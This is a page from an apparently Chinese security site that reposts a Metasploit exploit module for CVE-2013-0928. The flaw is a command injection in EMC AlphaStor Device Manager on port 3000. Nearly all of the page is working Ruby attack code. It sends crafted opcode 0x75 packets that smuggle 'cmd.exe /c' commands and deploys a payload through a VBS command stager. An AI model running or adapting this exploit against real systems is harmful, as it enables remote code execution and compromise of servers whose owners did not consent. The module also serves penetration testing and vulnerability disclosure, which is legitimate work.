首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EMC AlphaStor Device Manager Opcode 0x75 Command Injection
来源:metasploit.com 作者:vazquez 发布时间:2014-09-25  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection',
      'Description'     => %q{
        This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75
        command, the process does not properly filter user supplied input allowing for arbitrary
        command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116
        with Windows 2003 SP2 and Windows 2008 R2.
      },
      'Author'          =>
        [
          'Anyway <Aniway.Anyway[at]gmail.com>',               # Vulnerability Discovery
          'Preston Thornburn <prestonthornburg[at]gmail.com>', # msf module
          'Mohsan Farid <faridms[at]gmail.com>',               # msf module
          'Brent Morris <inkrypto[at]gmail.com>',              # msf module
          'juan vazquez'                                       # convert aux module into exploit
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['CVE', '2013-0928'],
          ['ZDI', '13-033']
        ],
      'Platform'        => 'win',
      'Arch'            => ARCH_X86,
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'Targets'  =>
          [
            [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ]
          ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Jan 18 2013'))
  
    register_options(
      [
        Opt::RPORT(3000)
      ], self.class )
  end
  
  def check
    packet = "\x75~ mminfo & #{rand_text_alpha(512)}"
    res = send_packet(packet)
    if res && res =~ /Could not fork command/
      return Exploit::CheckCode::Detected
    end
  
    Exploit::CheckCode::Unknown
  end
  
  def exploit
    execute_cmdstager({ :linemax => 487 })
  end
  
  def execute_command(cmd, opts)
    padding = rand_text_alpha_upper(489 - cmd.length)
    packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}"# #{padding}"
    connect
    sock.put(packet)
    begin
      sock.get_once
    rescue EOFError
      fail_with(Failure::Unknown, "Failed to deploy CMD Stager")
    end
    disconnect
  end
  
  def execute_cmdstager_begin(opts)
    if flavor =~ /vbs/ && self.decoder =~ /vbs_b64/
      cmd_list.each do |cmd|
        cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")")
      end
    end
  end
  
  def send_packet(packet)
    connect
  
    sock.put(packet)
    begin
      meta_data = sock.get_once(8)
    rescue EOFError
      meta_data = nil
    end
  
    unless meta_data
      disconnect
      return nil
    end
  
    code, length = meta_data.unpack("N*")
  
    unless code == 1
      disconnect
      return nil
    end
  
    begin
      data = sock.get_once(length)
    rescue EOFError
      data = nil
    ensure
      disconnect
    end
  
    data
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZyXEL Prestig P-660HNU-T1 ISP
·Advantech WebAccess dvs.ocx Ge
·WS10 Data Server SCADA Exploit
·Bash Code Injection Proof Of C
·xcode-select 13.4.0 Buffer Ove
·Bash Environment Variable Comm
·Fast Image Resizer 098 - Local
·Joomla Face Gallery 1.0 Multip
·GNU bash Environment Variable
·Joomla Mac Gallery <= 1.5 Arbi
·GNU bash Environment Variable
·GetSimpleCMS PHP File Upload
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved